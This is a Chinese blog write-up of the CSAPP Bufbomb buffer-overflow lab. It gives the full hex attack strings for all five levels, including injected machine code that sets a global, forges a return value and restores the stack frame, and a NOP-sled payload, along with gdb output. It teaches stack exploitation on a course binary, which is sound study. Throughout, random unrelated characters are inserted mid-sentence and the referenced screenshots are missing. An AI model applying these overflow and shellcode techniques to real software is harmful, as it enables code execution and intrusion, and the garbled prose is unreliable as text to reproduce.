- 任務(wù)說明書:[pdf] buflab | http://csapp.cs.cmu.edu/public/labs.html
- 數(shù)據(jù)包下載:buflab-handout.tar
- Github源碼:zhwhong/Bufbomb_CSAPP
- 同步發(fā)布于博客:Bufbomb緩沖區(qū)溢出攻擊實驗詳解-CSAPP
實驗概述
本實驗的目的在于加深對IA-32函數(shù)調(diào)用規(guī)則和棧結(jié)構(gòu)的具體理解。實驗的主要內(nèi)容是對一個可執(zhí)行程序“bufbomb”實施一系列緩沖區(qū)溢出攻擊(buffer overflow attacks)鹰服,也就是設(shè)法通過造成緩沖區(qū)溢出來改變該可執(zhí)行程序的運行內(nèi)存映像病瞳,繼而執(zhí)行一些原來程序中沒有的行為,例如將給定的字節(jié)序列插入到其本不應(yīng)出現(xiàn)的內(nèi)存位置等悲酷。本次實驗需要你熟練運用gdb套菜、objdump、gcc等工具完成逗柴。
實驗中你需要對目標可執(zhí)行程序BUFBOMB分別完成5個難度遞增的緩沖區(qū)溢出攻擊。5個難度級分別命名為Smoke(level 0)旷祸、Fizz(level 1)托享、Bang(level 2)、Boom(level 3)和Nitro(level 4)羡榴,其中Smoke級最簡單而Nitro級最困難炕矮。
實驗語言:c;實驗環(huán)境:linux邢滑。
實驗說明
本實驗的數(shù)據(jù)包含于一個文件包buflab-handout.tar [1.06M] 中乐纸,可以從這里下載汽绢。下載該文件到本地目錄中,然后利用“tar –xvf buflab-handout.tar
”命令將其解壓积仗,至少包含下列四個文件:
- bufbomb:實驗需要攻擊的目標程序bufbomb寂曹。
- bufbomb.c:目標程序bufbomb的主源程序。
- makecookie:該程序基于你的學號產(chǎn)生一個唯一的由8個16進制數(shù)字組成的4字節(jié)序列(例如0x5f405c9a)匾灶,稱為“cookie”。
- hex2raw:字符串格式轉(zhuǎn)換程序哩治。
另一個需要的文件是,用objdump工具反匯編bufbomb可執(zhí)行目標程序蒜胖,得到它的反匯編源程序台谢,在后面的分析中,你將要從這個文件中查找很多信息樊拓。
(注:更多詳細信息說明請見任務(wù)說明書.)
實驗步驟及操作說明
本實驗需要你構(gòu)造一些攻擊字符串筋夏,對目標可執(zhí)行程序BUFBOMB分別造成不同的緩沖區(qū)溢出攻擊骗随。實驗分5個難度級分別命名為Smoke(level 0)蚊锹、Fizz(level 1)、Bang(level 2)丢烘、Boom(level 3)和Nitro(level 4)播瞳。
Overview
本次lab利用getbuf()方程不檢查讀取string長度的漏洞破壞該方程的return address從而達到對主程序造成破壞的目的。從getbuf() 的assembly code我們可以看到:
位于<0x80490a3> 地址處代碼為預讀的string在stack創(chuàng)建了0x28(也就是40)個Byte 的空間牌芋。具體位置可以通過gdb在下一行設(shè)置breakpoint 查找 %eax 的值得到,如下所示:
通過gdb調(diào)試得到犀暑,getbuf()申請的40字節(jié)緩沖區(qū)首地址為<0x55683438>,這個地址后面會用到苹熏。
通常在P過程調(diào)用Q過程時袱耽,程序的stack frame結(jié)構(gòu)如下圖所示:
為了覆蓋被存在Return Address上的值(4 Bytes for m32 machine)朱巨,我們需要讀入超過系統(tǒng)默認40 Bytes大小的string。由于Saved ebp 占據(jù)了4 Bytes 所以當我們的input string 為48 Bytes時洪唐,最后4位Bytes 剛好覆蓋我們的目標Return address.
**Notes: **由于我們在輸入文件下寫入的都是character(字符)因此我們需要利用hex2raw這個小程序幫助我們將我們寫入的character轉(zhuǎn)換成所對應(yīng)的二進制數(shù)列凭需。
level0:Smoke
Smoke任務(wù)的目標是構(gòu)造一個攻擊字符串作為bufbomb的輸入,在getbuf()中造成緩沖區(qū)溢出枯怖,使得getbuf()返回時不是返回到test函數(shù)度硝,而是轉(zhuǎn)到smoke函數(shù)處執(zhí)行。為此,你需要:
1. 在bufbomb的反匯編源代碼中找到smoke函數(shù)曙蒸,記下它的起始地址:
如以上實例中,smoke的開始地址是<0x08048b50>臂港。
2. 同樣在bufbomb的反匯編源代碼中找到getbuf()函數(shù)县袱,觀察它的棧幀結(jié)構(gòu):
如以上實例式散,你可以看到getbuf()的棧幀是0x38+4個字節(jié),而buf緩沖區(qū)的大小是0x28(40個字節(jié))乖篷。
3. 構(gòu)造攻擊字符串覆蓋返回地址
攻擊字符串的功能是用來覆蓋getbuf函數(shù)內(nèi)的數(shù)組buf(緩沖區(qū))撕蔼,進而溢出并覆蓋ebp和ebp上面的返回地址,所以攻擊字符串的大小應(yīng)該是0x28+4+4=48個字節(jié)诉探。并且其最后4個字節(jié)應(yīng)是smoke函數(shù)的地址肾胯,正好覆蓋ebp上方的正常返回地址。這樣再從getbuf返回時艳馒,取出的根據(jù)攻擊字符串設(shè)置的地址弄慰,就可實現(xiàn)控制轉(zhuǎn)移。
所以慌闭,這樣的攻擊字符串為:
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
50 8b 04 08
總共48個字節(jié),并且前面44個字節(jié)可以為任意值省古,對程序的執(zhí)行沒有任何影響,只要最后四個字節(jié)正確地設(shè)置為smoke的起始地址<0x08048b50>即可科侈,對應(yīng)內(nèi)存寫入50 8b 04 08
(小端格式)臀栈。
可以將上述攻擊字符串寫在攻擊字符串文件中权薯,命名為smoke_U201315075.txt盟蚣,之后通過hex2raw處理過濾掉所有的注釋,還原成沒有任何冗余數(shù)據(jù)的攻擊字符串原始數(shù)據(jù)而代入bufbomb中使用奄抽。通過Linux終端執(zhí)行:
cat smoke_U201315075.txt |./hex2raw |./bufbomb -u U201315075
顯示結(jié)果如下:
至此逞度,level0任務(wù)smoke通過!
level1:fizz
level1 和 level0 大同小異揖赴,唯一的區(qū)別是本次要求跳入函數(shù) fizz(int) 且該函數(shù)有一個參數(shù)(要求用所給cookie作argument)。
我們知道在執(zhí)行完ret指令后棧頂指針 %esp 會自動增加4以還原棧幀突倍。
通過查找fizz()得知:
- fizz()函數(shù)的起始地址為<0x08048b7a>焊虏。
- 由Overview里面的棧幀圖示可知诵闭,ebp存放了調(diào)用者的舊ebp(saved %ebp)疏尿,其上一位置ebp+4存放了調(diào)用者的返回地址,所以參數(shù)的地址應(yīng)該為ebp+8的位置敌呈,我們只需要將自己的cookie放置在該位置即可磕洪。
所以構(gòu)造攻擊文件fizz_U201315075.txt如下:
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
7a 8b 04 08
00 00 00 00
26 05 8f 2d
其中析显,<0x08058b7a>為fizz函數(shù)起始地址,0x2d8f0526為自己的cookie晰绎,通過參數(shù)傳遞給fizz荞下。
最后執(zhí)行測試結(jié)果如下:
至此尖昏,level1任務(wù)fizz通過!
level2:bang
level2的難度開始增加吐绵,除了需要跳轉(zhuǎn)至目標函數(shù)bang() 地址為<0x08048bc5>:
我們還需要執(zhí)行一些自行設(shè)計的指令耙饰,因為該任務(wù)我們需要將global_value 的值改成我們的cookie苟跪,通過objdump -D bufbomb | less (注意D要大寫我們才能看到header的代碼, -d不會顯示):
通過objdump -D 反匯編可以看到:
- global_value的地址是<0x0804d100>拨齐, 目前該位置的初始值為 0 ;
- cookie的地址是<0x0804d108>歼狼, 目前該位置的值初始為 0羽峰,程序運行后會變?yōu)閏ookie的值。
我們需要做的就是坯汤,在程序運行時將global_value的值設(shè)置為cookie的值惰聂。
構(gòu)造自定義攻擊指令bang.s:
由于是Assembly code 不需要考慮 little endian的問題。先將global_value 用mov指令變cookie (0x0804d100 前不加$ 表示地址)溉愁,然后將bang()函數(shù)地址<0x08048bc5>寫給esp罢缸,再執(zhí)行ret指令時,程序自動跳入bang()函數(shù)敷鸦。
指令 gcc -m32 -c bang.s 將assembly code寫成machine code -->bang.o,再用objdump -d bang.o 讀取machine code如下:
將指令代碼抄入攻擊文件碟案,除此之外我們還需要找到input string存放的位置作為第一次ret 指令的目標位置,具體操作方法見Overview, 經(jīng)過gdb調(diào)試分析getbuf()申請的40字節(jié)緩沖區(qū)首地址為<0x55683438>领迈。
所以構(gòu)造攻擊字符串bang_U201315075.txt如下:
c7 05 00 d1
04 08 26 05
8f 2d 68 c5
8b 04 08 c3
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
38 34 68 55
最后執(zhí)行測試結(jié)果如下:
至此,level2任務(wù)bang通過累提!
level3:bomb
不同于之前跳入其他函數(shù)尘喝,在本任務(wù)中我們希望getbuf() 結(jié)束后回到test()原本的位置(即call getbuf后的下一行),并將你的cookie作為getbuf()的返回值傳給test()刻恭。為了使攻擊更加具有迷惑性我們還希望saved ebp被復原瞧省,這樣一來原程序就完全不會因為外部攻擊而出錯崩潰,也就是退出攻擊后要保證楓⒓郑空間還原鞍匾,使test()察覺不到我們干了什么,就好像我們什么都沒做一樣骑科。
我們注意到getbuf() 在<0x08048cd1>被執(zhí)行因此正確的跳轉(zhuǎn)地址為 <0x08048cd6>:
另外梁棠,要還原棧幀行贪,我們必須知道在調(diào)用getbuf()之前的原始ebp的值啰脚,這里使用gdb調(diào)試來獲取,可以在<0x08048cd1>(準備進入getbuf函數(shù))設(shè)置斷點,然后查看進入getbuf之前的%ebp寄存器值仇哆,這里我們得到的舊的ebp的值為<0x55683490>陌兑,如下:
知道了舊的ebp寄存器和正確的返回地址,接下來就是通過自己構(gòu)造攻擊代碼實施攻擊慧瘤。
下面有兩種方式,在test()調(diào)用getbuf()函數(shù)后能夠正常返回到test()中調(diào)用call getbuf的下一條指令<0x08048cd6>處,并且保證棧幀能夠還原苔埋,也就是正確恢復舊的%ebp,程序繼續(xù)正常運行。
(1)方法一
構(gòu)造攻擊指令bomb.s如下:
這里通過movl指令將cookie值傳給%eax以返回給test(),然后使得程序跳轉(zhuǎn)到test()中call getbuf下一條指令正常返回,但是并不在這里處理ebp寄存器問題宝与,而是通過在攻擊字符串里面設(shè)置ebp寄存器使得其還原為舊ebp。而在方法二中是通過在自定義攻擊代碼中還原舊的ebp寄存器,兩種方法都可以匕积。
對其進行編譯瓤逼,然后反匯編得到機器碼:
構(gòu)造攻擊字符串bomb_U201315075.txt如下:
b8 26 05 8f
2d 68 d6 8c
04 08 c3 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
90 34 68 55
38 34 68 55
最后執(zhí)行測試結(jié)果如下:
(2)方法二
攻擊指令bomb2.s如下:
這里通過movl指令將cookie值傳給%eax以返回給test()磁滚,然后繼續(xù)通過movl指令還原ebp寄存器,最后通過push正確返回地址使得程序跳轉(zhuǎn)到test()中call getbuf下一條指令正常返回嗜诀。區(qū)別于方法一的是這里通過自定義攻擊代碼還原ebp皇钞,而不是通過攻擊字符串中的緩沖區(qū)溢出進行覆蓋的蔓钟,兩種方法都可以臀玄。
對其進行編譯示损,然后反匯編得到機器碼:
構(gòu)造攻擊字符串bomb2_U201315075.txt如下:
b8 26 05 8f
2d bd 90 34
68 55 68 d6
8c 04 08 c3
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
38 34 68 55
最后執(zhí)行測試結(jié)果如下:
至此残腌,level3任務(wù)bomb通過掀亩!
level4:nitro
本級要使用./bufbomb的-n參數(shù),bufbomb不會再像從前哪樣調(diào)用test(),而是調(diào)用testn()皮壁,testn()又調(diào)getbufn()铭污。本級的任務(wù)是使getn返回cookie給testn()誓竿。聽上去似乎與上一級沒什么不同燎潮,但實際上該級的棧地址是動態(tài)的纠拔,每次都不一樣荠雕,bufbomb會連續(xù)要我們輸入5次字符串疙驾,每次都調(diào)用getbufn(),每次的棧地址都不一樣郭毕,所以我們將不能再使用原來用gdb調(diào)試的方法來求%ebp的地址了它碎。
解決思路就是:
- 用assembly instruction —— nop (machine code:90)填充我們的Input string。
這樣一來在一定范圍內(nèi)無論在哪里進入我們的攻擊程序執(zhí)行指令最終都會滑到我們的攻擊方程显押; - 雖然ebp的值每次變化扳肛,無法直接賦值,但是在getbufn()程序中 ebp和esp值差是一定的通過gdp查找我們可以查到這樣的關(guān)系乘碑,比如我這里是相差0x28挖息;
- 通過空input運行主程序發(fā)現(xiàn)五次input string的存儲位置在0x556831d8 到0x556832c8之間,因此如果我們將第一次ret address 定為最高的0x556832c8那么就可以保證五次運行執(zhí)行命令都不會在運行攻擊程序之前遇到除nop(90)之外的其他指令蝉仇。
bufbomb在5次調(diào)用testn()和getbufn()的過程中,兩個函數(shù)的棧是連續(xù)的殖蚕,在testn()匯編代碼開頭有
可知%esp=%ebp-4-0x24轿衔,即 %ebp = %esp + 0x28。
其中睦疫,getbufn執(zhí)行ret前的leave指令已經(jīng)正確地恢復%esp(leave等價于 mov %ebp,%esp; pop %ebp害驹,我們的字符串無法覆蓋%ebp,%esp寄存器,%esp是從寄存器%ebp里來的蛤育,因此是正確的)宛官。
這里構(gòu)造攻擊指令nitro.s如下:
對其進行編譯葫松,然后反匯編得到機器碼:
可是我們還不知道返回地址應(yīng)該用什么來填充。字符串首地址是變化的底洗,雖然可以通過%esp間接求出腋么,但在程序跳轉(zhuǎn)到我們的代碼之前,我們無法得知%esp的值究竟是多少(原來可以用gdb調(diào)試出來亥揖,但現(xiàn)在不行了)珊擂。幸好getbufn給的棧空間很大费变,我們可以利用nop slide技術(shù)摧扇,先讓程序返回到一個我們大致猜測的地址,在這個地址及其附近的一大片區(qū)域里我們用nop指令(機器碼為0x90)填充挚歧,CPU執(zhí)行nop指令時除了程序計數(shù)器PC自加扛稽,別的什么也不做。把我們的代碼放在這片區(qū)域的高位地址處滑负,程序一路執(zhí)行nop,就像滑行一樣在张,一路滑到我們的代碼才真正開始執(zhí)行。我們可以利用gdb調(diào)試找到這個字符串開始的大致區(qū)域橙困。
查看getbufn()匯編代碼瞧掺,有:
得知寫入字符串的首地址為-0x208(%ebp),而返回地址位于0x4(%ebp)凡傅,因此我們需填充0x4 - (-0x208) = 0x20c = 524個字節(jié)的字符辟狈,再寫4個字節(jié)覆蓋getbufn()的返回地址。
使用gdb調(diào)試發(fā)現(xiàn)5次getbufn循環(huán)里面夏跷,緩沖區(qū)首地址情況如下:
? ~/buflab-handout git:(master) ? ? gdb bufbomb
……
Reading symbols from bufbomb...(no debugging symbols found)...done.
(gdb) b *0x080490be
Breakpoint 1 at 0x80490be
(gdb) r -n -u U201315075
Starting program: /home/zhwhong/buflab-handout/bufbomb -n -u U201315075
Userid: U201315075
Cookie: 0x2d8f0526
Breakpoint 1, 0x080490be in getbufn ()
(gdb) p /x $ebp-0x208
$1 = 0x55683258
(gdb) c
Breakpoint 1, 0x080490be in getbufn ()
(gdb) p /x $ebp-0x208
$2 = 0x556832c8
(gdb) c
Breakpoint 1, 0x080490be in getbufn ()
(gdb) p /x $ebp-0x208
$3 = 0x556831e8
(gdb) c
Breakpoint 1, 0x080490be in getbufn ()
(gdb) p /x $ebp-0x208
$4 = 0x556831d8
(gdb) c
Breakpoint 1, 0x080490be in getbufn ()
(gdb) p /x $ebp-0x208
$5 = 0x55683258
(gdb) c
[Inferior 1 (process 9333) exited normally]
由gdb調(diào)試結(jié)果可知五次input string的存儲位置在0x556831d8 到0x556832c8之間哼转,因此如果我們將第一次ret address 定為最高的0x556832c8,那么就可以保證五次運行執(zhí)行命令都不會在運行攻擊程序之前遇到除nop(90)之外的其他指令槽华。(其實返回地址只要不小于0x556832c8即可壹蔓,這里就取0x556832c8 (c8 32 68 55
)吧。)
構(gòu)造攻擊字符串nitro_U201315075.txt如下:
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 b8
26 05 8f 2d 8d 6c 24 28 68 42
8d 04 08 c3 c8 32 68 55
最后執(zhí)行測試結(jié)果如下:
注:需要注意的是因為在Nitro模式下主程序需要讀五次input以滿足執(zhí)行五次的需要猫态,因此在執(zhí)行./hex2raw程序時請注意添加 -n flag以保證input string 被復制五次每次以\n結(jié)尾以結(jié)束每次的gets()函數(shù)調(diào)用佣蓉。
至此,level4任務(wù)nitro通過亲雪!
- 文中出現(xiàn)的所有代碼請查看Github倉庫:zhwhong/Bufbomb_CSAPP
(注:感謝您的閱讀勇凭,希望本文對您有所幫助。如果覺得不錯歡迎分享轉(zhuǎn)載义辕,但請先點擊 這里 獲取授權(quán)虾标。本文由 版權(quán)印 提供保護,禁止任何形式的未授權(quán)違規(guī)轉(zhuǎn)載灌砖,謝謝璧函!)